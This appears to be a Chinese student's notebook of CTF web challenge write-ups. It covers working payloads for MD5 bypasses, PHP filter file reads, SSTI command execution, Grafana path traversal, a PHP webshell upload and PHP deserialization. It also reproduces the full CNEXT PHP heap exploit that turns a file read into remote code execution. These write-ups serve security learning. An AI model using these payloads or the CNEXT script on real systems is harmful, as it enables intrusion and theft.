1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );include "flag.php" ;highlight_file (__FILE__ );if ($_POST ['wqh' ]!==$_POST ['dsy' ]&&md5 ($_POST ['wqh' ])===md5 ($_POST ['dsy' ])){ echo $FLAG ; }
依旧是数组绕过
wqh[]=1&dsy[]=2
[HNCTF 2022 Week1]easy_html
查看/.%2Ff14g.php
看到了登陆界面
将最大长度改为11,然后输入11位数字
[羊城杯 2020]easycon 进行目录扫描
先访问index.php
弹窗显示alert(‘eval post cmd’),POST传参参数为cmd
查看bbbbbbbbb.txt
给了一堆不知道是什么的,像编码
是图片的编码,转为图片得到flag
[MoeCTF 2022]baby_file 1 2 3 4 5 6 7 8 9 10 11 12 <html> <title>Here's a secret. Can you find it?</title> <?php if(isset($_GET[' file'])){ $file = $_GET[' file']; include($file); }else{ highlight_file(__FILE__); } ?> </html>
?file=php://filter/read=convert.base64-encode/resource=flag.php
[GKCTF 2020]cve版签到
1 ?url=http:// 127.0 .0 .1 %00www .ctfhub.com
1 ?url=http:// 127.0 .0.123 %00www .ctfhub.com
[GDOUCTF 2023]受不了一点 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php error_reporting (0 );header ("Content-type:text/html;charset=utf-8" );if (isset ($_POST ['gdou' ])&&isset ($_POST ['ctf' ])){ $b =$_POST ['ctf' ]; $a =$_POST ['gdou' ]; if ($_POST ['gdou' ]!=$_POST ['ctf' ] && md5 ($a )===md5 ($b )){ if (isset ($_COOKIE ['cookie' ])){ if ($_COOKIE ['cookie' ]=='j0k3r' ){ if (isset ($_GET ['aaa' ]) && isset ($_GET ['bbb' ])){ $aaa =$_GET ['aaa' ]; $bbb =$_GET ['bbb' ]; if ($aaa ==114514 && $bbb ==114514 && $aaa !=$bbb ){ $give = 'cancanwordflag' ; $get ='hacker!' ; if (isset ($_GET ['flag' ]) && isset ($_POST ['flag' ])){ die ($give ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ die ($get ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo $flag ; }else { echo "洗洗睡吧" ; } }else { echo "行不行啊细狗" ; } } } else { echo '菜菜' ; } }else { echo "就这?" ; } }else { echo "别来沾边" ; }?> 别来沾边
需要在post传参GET传参中用数组绕过
payload
1 2 3 ?aaa = 114514 a&bbb =114514 &1 =flag&flag =1 gdou[]=1 &ctf []=2 cookie = j0k3r
[HNCTF 2022 Week1]Interesting_http
猜测post传参参数为want
bp抓包
提示notadmin,修改cookie
提示不是这个地址,就用本地绕过
[HNCTF 2022 Week1]What is Web 查看源码在最后找到了这个base64编码
用在线网站解码即可得到flag
[SWPUCTF 2025 秋季新生赛]我是签到 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 from __future__ import annotationsimport base64import zlibfrom dataclasses import dataclassfrom requests.exceptions import ConnectionError, ChunkedEncodingErrorfrom pwn import *from ten import * HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄" .encode("utf-8" )class Remote : """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like: ```php <?php $data = file_get_contents($_POST['file']); echo "File contents: $data"; ``` Tweak it to fit your target, and start the exploit. """ def __init__ (self, url: str ) -> None : self .url = url self .session = Session() def send (self, path: str ) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ return self .session.post(self .url, data={"file" : path}) def download (self, path: str ) -> bytes : """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path} " response = self .send(path) data = response.re.search(b"File contents: (.*)" , flags=re.S).group(1 ) return base64.decode(data)@entry @arg("url" , "Target URL" ) @arg("command" , "Command to run on the system; limited to 0x140 bytes" ) @arg("sleep" , "Time to sleep to assert that the exploit worked. By default, 1." ) @arg("heap" , "Address of the main zend_mm_heap structure." ) @arg( "pad" , "Number of 0x100 chunks to pad with. If the website makes a lot of heap " "operations with this size, increase this. Defaults to 20." , )@dataclass class Exploit : """CNEXT exploit: RCE using a file read primitive in PHP.""" url: str command: str sleep: int = 1 heap: str = None pad: int = 20 def __post_init__ (self ): self .remote = Remote(self .url) self .log = logger("EXPLOIT" ) self .info = {} self .heap = self .heap and int (self .heap, 16 ) def check_vulnerable (self ) -> None : """Checks whether the target is reachable and properly allows for the various wrappers and filters that the exploit needs. """ def safe_download (path: str ) -> bytes : try : return self .remote.download(path) except ConnectionError: failure("Target not [b]reachable[/] ?" ) def check_token (text: str , path: str ) -> bool : result = safe_download(path) return text.encode() == result text = tf.random.string(50 ).encode() base64 = b64(text, misalign=True ).decode() path = f"data:text/plain;base64,{base64} " result = safe_download(path) if text not in result: msg_failure("Remote.download did not return the test string" ) print ("--------------------" ) print (f"Expected test string: {text} " ) print (f"Got: {result} " ) print ("--------------------" ) failure("If your code works fine, it means that the [i]data://[/] wrapper does not work" ) msg_info("The [i]data://[/] wrapper works" ) text = tf.random.string(50 ) base64 = b64(text.encode(), misalign=True ).decode() path = f"php://filter//resource=data:text/plain;base64,{base64} " if not check_token(text, path): failure("The [i]php://filter/[/] wrapper does not work" ) msg_info("The [i]php://filter/[/] wrapper works" ) text = tf.random.string(50 ) base64 = b64(compress(text.encode()), misalign=True ).decode() path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64} " if not check_token(text, path): failure("The [i]zlib[/] extension is not enabled" ) msg_info("The [i]zlib[/] extension is enabled" ) msg_success("Exploit preconditions are satisfied" ) def get_file (self, path: str ) -> bytes : with msg_status(f"Downloading [i]{path} [/]..." ): return self .remote.download(path) def get_regions (self ) -> list [Region]: """Obtains the memory regions of the PHP process by querying /proc/self/maps.""" maps = self .get_file("/proc/self/maps" ) maps = maps.decode() PATTERN = re.compile ( r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)" ) regions = [] for region in table.split(maps, strip=True ): if match := PATTERN.match (region): start = int (match .group(1 ), 16 ) stop = int (match .group(2 ), 16 ) permissions = match .group(3 ) path = match .group(4 ) if "/" in path or "[" in path: path = path.rsplit(" " , 1 )[-1 ] else : path = "" current = Region(start, stop, permissions, path) regions.append(current) else : print (maps) failure("Unable to parse memory mappings" ) self .log.info(f"Got {len (regions)} memory regions" ) return regions def get_symbols_and_addresses (self ) -> None : """Obtains useful symbols and addresses from the file read primitive.""" regions = self .get_regions() LIBC_FILE = "/dev/shm/cnext-libc" self .info["heap" ] = self .heap or self .find_main_heap(regions) libc = self ._get_region(regions, "libc-" , "libc.so" ) self .download_file(libc.path, LIBC_FILE) self .info["libc" ] = ELF(LIBC_FILE, checksec=False ) self .info["libc" ].address = libc.start def _get_region (self, regions: list [Region], *names: str ) -> Region: """Returns the first region whose name matches one of the given names.""" for region in regions: if any (name in region.path for name in names): break else : failure("Unable to locate region" ) return region def download_file (self, remote_path: str , local_path: str ) -> None : """Downloads `remote_path` to `local_path`""" data = self .get_file(remote_path) Path(local_path).write(data) def find_main_heap (self, regions: list [Region] ) -> Region: heaps = [ region.stop - HEAP_SIZE + 0x40 for region in reversed (regions) if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE-1 ) == 0 and region.path in ("" , "[anon:zend_alloc]" ) ] if not heaps: failure("Unable to find PHP's main heap in memory" ) first = heaps[0 ] if len (heaps) > 1 : heaps = ", " .join(map (hex , heaps)) msg_info(f"Potential heaps: [i]{heaps} [/] (using first)" ) else : msg_info(f"Using [i]{hex (first)} [/] as heap" ) return first def run (self ) -> None : self .check_vulnerable() self .get_symbols_and_addresses() self .exploit() def build_exploit_path (self ) -> str : """On each step of the exploit, a filter will process each chunk one after the other. Processing generally involves making some kind of operation either on the chunk or in a destination chunk of the same size. Each operation is applied on every single chunk; you cannot make PHP apply iconv on the first 10 chunks and leave the rest in place. That's where the difficulties come from. Keep in mind that we know the address of the main heap, and the libraries. ASLR/PIE do not matter here. The idea is to use the bug to make the freelist for chunks of size 0x100 point lower. For instance, we have the following free list: ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00 By triggering the bug from chunk ..900, we get: ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ??? That's step 3. Now, in order to control the free list, and make it point whereever we want, we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so, we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48. That's step 2. Now, if we were to perform step2 an then step3 without anything else, we'd have a problem: after step2 has been processed, the free list goes bottom-up, like: 0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900 We need to go the other way around. That's why we have step 1: it just allocates chunks. When they get freed, they reverse the free list. Now step2 allocates in reverse order, and therefore after step2, chunks are in the correct order. Another problem comes up. To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT. Since step2 creates chunks that contain pointers and pointers are generally not UTF-8, we cannot afford to have that conversion happen on the chunks of step2. To avoid this, we put the chunks in step2 at the very end of the chain, and prefix them with `0\n`. When dechunked (right before the iconv), they will "disappear" from the chain, preserving them from the character set conversion and saving us from an unwanted processing error that would stop the processing chain. After step3 we have a corrupted freelist with an arbitrary pointer into it. We don't know the precise layout of the heap, but we know that at the top of the heap resides a zend_mm_heap structure. We overwrite this structure in two ways. Its free_slot[] array contains a pointer to each free list. By overwriting it, we can make PHP allocate chunks whereever we want. In addition, its custom_heap field contains pointers to hook functions for emalloc, efree, and erealloc (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and then overwrite the use_custom_heap flag to make PHP use these function pointers instead. We can now do our favorite CTF technique and get a call to system(<chunk>). We make sure that the "system" command kills the current process to avoid other system() calls with random chunk data, leading to undefined behaviour. The pad blocks just "pad" our allocations so that even if the heap of the process is in a random state, we still get contiguous, in order chunks for our exploit. Therefore, the whole process described here CANNOT crash. Everything falls perfectly in place, and nothing can get in the middle of our allocations. """ LIBC = self .info["libc" ] ADDR_EMALLOC = LIBC.symbols["__libc_malloc" ] ADDR_EFREE = LIBC.symbols["__libc_system" ] ADDR_EREALLOC = LIBC.symbols["__libc_realloc" ] ADDR_HEAP = self .info["heap" ] ADDR_FREE_SLOT = ADDR_HEAP + 0x20 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168 ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10 CS = 0x100 pad_size = CS - 0x18 pad = b"\x00" * pad_size pad = chunked_chunk(pad, len (pad) + 6 ) pad = chunked_chunk(pad, len (pad) + 6 ) pad = chunked_chunk(pad, len (pad) + 6 ) pad = compressed_bucket(pad) step1_size = 1 step1 = b"\x00" * step1_size step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, CS) step1 = compressed_bucket(step1) step2_size = 0x48 step2 = b"\x00" * (step2_size + 8 ) step2 = chunked_chunk(step2, CS) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = b"0\n" .ljust(step2_size, b"\x00" ) + p64(ADDR_FAKE_BIN) step2_write_ptr = chunked_chunk(step2_write_ptr, CS) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3_size = CS step3 = b"\x00" * step3_size assert len (step3) == CS step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3) step3_overflow = b"\x00" * (step3_size - len (BUG)) + BUG assert len (step3_overflow) == CS step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4_size = CS step4 = b"=00" + b"\x00" * (step4_size - 1 ) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4) step4_pwn = ptr_bucket( 0x200000 , 0 , 0 , 0 , ADDR_CUSTOM_HEAP, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , ADDR_HEAP, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , size=CS, ) step4_custom_heap = ptr_bucket( ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18 ) step4_use_custom_heap_size = 0x140 COMMAND = self .command COMMAND = f"kill -9 $PPID; {COMMAND} " if self .sleep: COMMAND = f"sleep {self.sleep} ; {COMMAND} " COMMAND = COMMAND.encode() + b"\x00" assert ( len (COMMAND) <= step4_use_custom_heap_size ), f"Command too big ({len (COMMAND)} ), it must be strictly inferior to {hex (step4_use_custom_heap_size)} " COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00" ) step4_use_custom_heap = COMMAND step4_use_custom_heap = qpe(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self .pad + step1 * 3 + step2_write_ptr + step2 * 2 ) resource = compress(compress(pages)) resource = b64(resource) resource = f"data:text/plain;base64,{resource.decode()} " filters = [ "zlib.inflate" , "zlib.inflate" , "dechunk" , "convert.iconv.L1.L1" , "dechunk" , "convert.iconv.L1.L1" , "dechunk" , "convert.iconv.L1.L1" , "dechunk" , "convert.iconv.UTF-8.ISO-2022-CN-EXT" , "convert.quoted-printable-decode" , "convert.iconv.L1.L1" , ] filters = "|" .join(filters) path = f"php://filter/read={filters} /resource={resource} " return path @inform("Triggering..." ) def exploit (self ) -> None : path = self .build_exploit_path() start = time.time() try : self .remote.send(path) except (ConnectionError, ChunkedEncodingError): pass msg_print() if not self .sleep: msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]" ) elif start + self .sleep <= time.time(): msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]" ) else : msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]" ) msg_print()def compress (data ) -> bytes : """Returns data suitable for `zlib.inflate`. """ return zlib.compress(data, 9 )[2 :-4 ]def b64 (data: bytes , misalign=True ) -> bytes : payload = base64.encode(data) if not misalign and payload.endswith("=" ): raise ValueError(f"Misaligned: {data} " ) return payload.encode()def compressed_bucket (data: bytes ) -> bytes : """Returns a chunk of size 0x8000 that, when dechunked, returns the data.""" return chunked_chunk(data, 0x8000 )def qpe (data: bytes ) -> bytes : """Emulates quoted-printable-encode. """ return "" .join(f"={x:02x} " for x in data).upper().encode()def ptr_bucket (*ptrs, size=None ) -> bytes : """Creates a 0x8000 chunk that reveals pointers after every step has been ran.""" if size is not None : assert len (ptrs) * 8 == size bucket = b"" .join(map (p64, ptrs)) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket) return bucketdef chunked_chunk (data: bytes , size: int = None ) -> bytes : """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`. """ if size is None : size = len (data) + 8 keep = len (data) + len (b"\n\n" ) size = f"{len (data):x} " .rjust(size - keep, "0" ) return size.encode() + b"\n" + data + b"\n" @dataclass class Region : """A memory region.""" start: int stop: int permissions: str path: str @property def size (self ) -> int : return self .stop - self .start Exploit()
将这串代码在虚拟机中运行
需要用到虚拟机中的虚拟环境
安装虚拟环境
激活虚拟环境
1 source myenv/bin /activate
需要安装ten库
安装pwn环境
1 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pwntools
在虚拟环境中执行命令
1 python3 cve111.py http://node10.anna.nssctf.cn:27403 / "env > 1.txt"
然后访问2.txt
[NISACTF 2022]babyupload 尝试bp抓包传一句话木马,发现jpg,php这些后缀名均被过滤
查看源码发现有一个/souorce目录
发现是一个zip压缩包打开是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from flask import Flask, request, redirect, g, send_from_directoryimport sqlite3import osimport uuid app = Flask(__name__) SCHEMA = """CREATE TABLE files ( id text primary key, path text ); """ def db (): g_db = getattr (g, '_database' , None ) if g_db is None : g_db = g._database = sqlite3.connect("database.db" ) return g_db@app.before_first_request def setup (): os.remove("database.db" ) cur = db().cursor() cur.executescript(SCHEMA)@app.route('/' ) def hello_world (): return """<!DOCTYPE html> <html> <body> <form action="/upload" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="file"> <input type="submit" value="Upload File" name="submit"> </form> <!-- /source --> </body> </html>""" @app.route('/source' ) def source (): return send_from_directory(directory="/var/www/html/" , path="www.zip" , as_attachment=True )@app.route('/upload' , methods=['POST' ] ) def upload (): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try : cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid)@app.route('/file/<id>' ) def file (id ): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?" , (id ,)) res = cur.fetchone() if res is None : return "File not found" , 404 with open (os.path.join("uploads/" , res[0 ]), "r" ) as f: return f.read()if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
代码审计发现是把.过滤了
1 2 if "." in file .filename : return "Bad filename!" , 403
且文件名前会拼接一个前缀upload/,使得输出的文件只能是在目录upload/下的,这里就涉及到os.path.join()的绝对路径拼接漏洞
绝对路径拼接漏洞 os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径
第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径,所以此处我们只需将文件名修改为/flag即可
[MoeCTF 2021]babyRCE 源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php $rce = $_GET ['rce' ];if (isset ($rce )) { if (!preg_match ("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i" , $rce )) { system ($rce ); }else { echo "hhhhhhacker!!!" ."\n" ; } } else { highlight_file (__FILE__ ); }
代码审计
system($rce)会执行参数rce,所以传入的值是命令
看到过滤了很多命令还有空格和数字,就用转义符绕过
payload
1 ?r ce=c\at${ IFS }f\lag.php
[HNCTF 2022 WEEK2]ez_SSTI
题目提示是ssti就要找注入点,猜测get传参,参数是name
payload
1 ?name= {{config.__class__.__init__.__globals__ [%27os%27].popen(%27cat %20 flag%27 ).read()}}
又要一个安全的方式就用POST
得到了一个路径
看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting(__FILE__); highlight_file(__FILE__); Include('hello.php' ); $NSS=$_POST['NSS' ]; $ATM=$_GET['CTF' ]; $CTF=$_GET['ATM' ];if ($CTF!=$ATM ){ if (is_string($CTF)&&is_string($ATM)){ if (md5($ATM)==md5($CTF)){ include($NSS);//f1ag在/f1ag里面,快通过include拿到它 }else { echo '诶嘿,但是我就是要让ATM==CTF,不然你就别想拿到f1ag,不服进nss来揍我' ; } }else { echo '不准无脑用数组,实打实的学才能学得好' ; } }else { echo 'ATM怎么能是CTF呢' ; }if ($NSS=='I love CTF' ){ echo $f1agfile; } ?> ATM怎么能是CTF呢
payload
拿到了flag的路径
payload
1 ?CTF=s878926199a&ATM=s155964671a
利用模糊匹配绕过MD5
payload
利用include查看flag
CVE-2021-43798
登录界面,admin&admin登录成功
搜了一下这个漏洞是目录遍历
bp抓包
payload
1 /public/plugins/welcome/../../../../../../../../../etc/passwd
测试成功可以访问
payload
1 /public/plugins/welcome/../../../../../../../../../flag
[NSSCTF 2nd]php签到 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php function waf ($filename ) { $black_list = array ("ph" , "htaccess" , "ini" );$ext = pathinfo ($filename , PATHINFO_EXTENSION);foreach ($black_list as $value ) { if (stristr ($ext , $value )){ return false ; } }return true ; }if (isset ($_FILES ['file' ])){ $filename = urldecode ($_FILES ['file' ]['name' ]); $content = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (waf ($filename )){ file_put_contents ($filename , $content ); } else { echo "Please re-upload" ; } } else { highlight_file (__FILE__ ); }
代码审计
1 2 3 4 5 6 7 function waf ($filename ) { $black_list = array ("ph" , "htaccess" , "ini" );$ext = pathinfo ($filename , PATHINFO_EXTENSION);foreach ($black_list as $value ) { if (stristr ($ext , $value )){ return false ; }
定义了一个waf,过滤了配置文件和ph后缀名
1 2 3 4 5 6 7 8 9 10 11 if (isset ($_FILES ['file' ])){ $filename = urldecode ($_FILES ['file' ]['name' ]); $content = file_get_contents ($_FILES ['file' ]['tmp_name' ]); if (waf ($filename )){ file_put_contents ($filename , $content ); } else { echo "Please re-upload" ; } } else { highlight_file (__FILE__ ); }
是一个文件上传但是没有给真正上传文件的地方就想到可能是要手动上传文件
重点看一下$_FILES的用法
$_FILES是php的一个超全局数组,用于接收POST上传的文件信息
抓包试了半天还是没有成功就看了wp才发现要在kali里面运行脚本
1 2 3 4 5 6 7 import requests url = 'http://node5.anna.nssctf.cn:29872/' file_content = "<?php system(env); ?>" files = {'file' : ('3.php%2f.' , file_content)} response = requests.post(url=url, files=files)print (response.text)
用3.php%2f.绕过waf,然后回到网站访问3.php
[NCTF 2018]小绿草之最强大脑 查看页面源码
提示源码泄露,就扫目录看一下
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?phpif (isset($_SESSION['ans' ]) && isset($_POST['ans' ])){ if (($_SESSION['ans' ])+intval($_POST['input' ])!=$_POST['ans' ]){ session_destroy(); echo ' <script language="javascript"> alert("怎么没算对呢?"); window.history.back(-1); </script>' ; } else { if (intval(time())-$_SESSION['time' ]<1 ){ session_destroy(); echo ' <script language="javascript"> alert("你手速太快啦,服务器承受不住!!!"); window.history.back(-1); </script> ' ; } if (intval(time())-$_SESSION['time' ]>2 ){ session_destroy(); echo ' <script language="javascript"> alert("你算的太慢了少年!"); window.history.back(-1); </script> ' ; } echo ' <script language="javascript"> alert("tql,算对了!!"); </script> ' ; $_SESSION['count' ]++; } } ?>
分析源码
每次通过post方式传入ans要大于21位,每次请求发送的时间要在1-2秒之间,感觉肯定要用脚本了,就从网上搬了个脚本跑一下
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport time url = 'http://node4.anna.nssctf.cn:22412' res = requests.session() response = res.get(url) time.sleep(1 ) for i in range (1 , 99 ): math = "" resTest = response.text for j in range (0 , len (resTest)): if resTest[j - 1 ] == ">" and resTest[j + 1 ] == "<" and resTest[j]!= "\n" : math = math + resTest[j] math = math.strip('=' ) math = math.strip('+' ) num = eval (math) num += 9223372036854775807 myData = { 'ans' : num, 'input' : "99999999999999999999999999999999999999999999999999999999999999999999999" } response = res.post(url, data=myData) print (response.text) time.sleep(1 ) if "ctf{" in response.text: print ("Flaggggggggg: " , response.text) exit()
[NSSRound#8 Basic]MyDoor
一开始什么都没有,只看到url中有一个get参数file,就试了一下文件读取
就想到了试试伪协议
payload
1 ?file=php://filter /read=convert.base64-encode/resource=index.php
解码一下看到了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting(0 );if (isset($_GET['N_S.S' ])) { eval ($_GET['N_S.S' ]); }if (!isset($_GET['file' ])) { header('Location:/index.php?file=' ); } else { $file = $_GET['file' ]; if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is' , $file)) { include $file; } else { die('error.' ); } }
看到了get参数N_S.S是一个非法参数
payload
[MoeCTF 2021]地狱通讯 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from flask import Flask, render_template, requestfrom flag import flag, FLAGimport datetime app = Flask(__name__)@app.route("/" , methods=["GET" , "POST" ] ) def index (): with open ("app.py" , "r" ) as f: ctx = f.read() f1ag = request.args.get("f1ag" ) or "" exp = request.args.get("exp" ) or "" flAg = FLAG(f1ag) message = "Your flag is {0}" + exp if exp == "" : return ctx else : return message.format (flAg)if __name__ == "__main__" : app.run()
用户通过 exp 参数传入的内容被直接拼接到格式化字符串中
当调用 .format(flAg) 时,如果 exp 中包含 {}、{0.xxx} 等格式化语法,Python 会尝试访问 flAg 对象的属性或方法
而 flAg = FLAG(f1ag) 是一个自定义的 FLAG 类实例,攻击者可能借此读取其内部敏感属性(比如真实的 flag)
payload
1 ?f1ag=1 &exp={0. __class__.__init__.__globals__}
[第五空间 2021]pklovecloud 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php include 'flag.php' ;class pkshow { function echo_name() { return "Pk very safe^.^" ; } } class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } } class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if ($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}" ; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~" ; } } } } if (isset($_GET['pks' ])) { $logData = unserialize($_GET['pks' ]); echo $logData; } else { highlight_file(__file__); } ?>
代码审计
ace类中return file_get_contents($file)可以用来进行文件读取
需要满足$this->openstack->neutron === $this->openstack->nova的强比较
利用到echo_name()自定义的方法
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting(0 ); include 'flag.php' ;class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } }class ace { public $filename; public $openstack; public $docker; } $ace= new ace(); $ace->filename='flag.php' ; $ace->docker = null; $acp= new acp(); echo urlencode(serialize($acp));
没有出,比对了网上wp的思路感觉没什么问题
用一个网上wp的脚本试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?phpclass acp { protected $cinder ; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } }class ace { public $filename = 'flag.php' ; public $openstack; public $docker; } $a= new ace(); $a->docker = null; $b=new acp(); echo urlencode(serialize($b));
对比发现我的exp没有给filename赋上正确的值(但不知道为什么,filename明明是公有的)
payload
